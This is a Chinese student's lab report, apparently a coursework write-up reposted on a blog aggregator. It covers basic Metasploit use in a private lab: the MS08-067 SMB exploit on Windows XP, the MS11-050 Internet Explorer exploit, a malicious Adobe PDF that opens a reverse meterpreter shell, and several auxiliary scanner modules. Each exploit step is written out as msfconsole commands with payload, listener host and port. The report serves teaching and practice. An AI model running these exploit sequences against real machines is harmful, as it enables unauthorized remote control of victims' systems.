码迷,mamicode.com
首页 > 其他好文 > 详细

2018-2019-2 20165329《网络攻防技术》Exp5 MSF基础应用

时间:2019-04-20 21:41:12      阅读:211      评论:0      收藏:0      [点我收藏+]

标签:随机   name   地方   nbsp   解释   技术   windows7   comm   环境   

2018-2019-2 20165329《网络攻防技术》Exp5 MSF基础应用

一、实验

一个主动攻击实践,ms08_067 ;

一个针对浏览器的攻击,MS11-050 ;

一个针对客户端的攻击,Adobe ;

成功应用任何一个辅助模块(唯一)。

离实战还缺些什么技术
感觉大部分是按照教程来做的,离实战还很遥远

用自己的话解释什么是exploit,payload,encode.
exploit攻击者对靶机进行渗透攻击的这一过程

payload类似于之前实验中的shellcode,是攻击者进行攻击的“武器”

encode编码改编代码,防杀软识别

二、攻击实例

实现ms08_067

  • 1.Windows服务渗透攻击——MS08-067安全漏洞

①攻击机:kali ②靶机:windows XP SP3(English)

可以ping通。
技术图片

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf >search ms08-067//使用search命令搜寻有关漏洞MS08_067的相关信息
    技术图片

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi)> show payloads//查看可以供我们使用的payload:
    技术图片

  • msf exploit(ms08_067_netapi)> set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi)> set LHOST 192.168.72.131攻击者ip
  • msf exploit(ms08_067_netapi)> set LPORT 5329
  • msf exploit(ms08_067_netapi)> set RHOST 192.168.72.135 //靶机ip
  • msf exploit(ms08_067_netapi)> set target 0 //自动选择目标系统类型
    技术图片

  • msf exploit(ms08_067_netapi) > exploit
  • 成功!攻击结果如下:
    技术图片

技术图片

技术图片

实现ms11_050

①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement
  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.72.131 //攻击机ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5329 //攻击端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH rhl29 //统一资源标识符路径设置
  • msf exploit(ms11_050_cobjectelement) > exploit
  • 成功得到Local ip:
    技术图片

  • 用靶机访问http://192.168.72.131:8080/rhl29 ,出现了弹窗警告:
    技术图片

技术图片

    • 尝试修改一下ie浏览器的相关设置,降低其安全等级
      技术图片

    • 第二次在IE中访问以上网址还是失败了...很难受...
      技术图片

实现Adobe

①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/fileformat/adobe_cooltype_sing
  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.72.131 //攻击机ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5329 //攻击端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 20165329.pdf //设置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻击
  • 成功生成pdf。
    技术图片

  • 由于生成的文件是隐藏文件使用copy命令把其复制到别的目录中去。
    技术图片

  • 将pdf文件传送或拷贝到靶机上后,在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.72.131 //攻击机ip
msf exploit(handler) > set LPORT 5329 //攻击端口固定
msf exploit(handler) > exploit
  • 再把靶机上打开pdf文件,回连成功。
    技术图片

技术图片

实现辅助模块

1.首先用show auxiliary命令查看所有的辅助模块,然后从里面挑一个试一试。
技术图片

2.我随机挑选的是admin/http/arris_motorola_surfboard_backdoor_xss 模块。

3.输入info查看我们要设置的内容,里面有SRVHOST需要我们设置,成功后给出了链接
技术图片

4.访问链接之后好像没有什么动静,应该是失败了,再选尝试其他的。

5.在尝试了很多个之后,找到个可以攻击成功的,scanner/discovery/udp_sweep,各种配置完毕后,运行。
技术图片

6.害怕重复所以多尝试了几个
scanner/etcd/open_key_scanner
技术图片

scanner/elasticsearch/indices_enum
技术图片

 

 

三、实验总结

     本次实验没有什么特别难的地方,主要在环境的配置上,自己配置了好久但还是不成功,最后拷了配置好的虚拟机。体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。感受到了实践和真实攻击的差距。

2018-2019-2 20165329《网络攻防技术》Exp5 MSF基础应用

标签:随机   name   地方   nbsp   解释   技术   windows7   comm   环境   

原文地址:https://www.cnblogs.com/hjwzzj/p/10742087.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!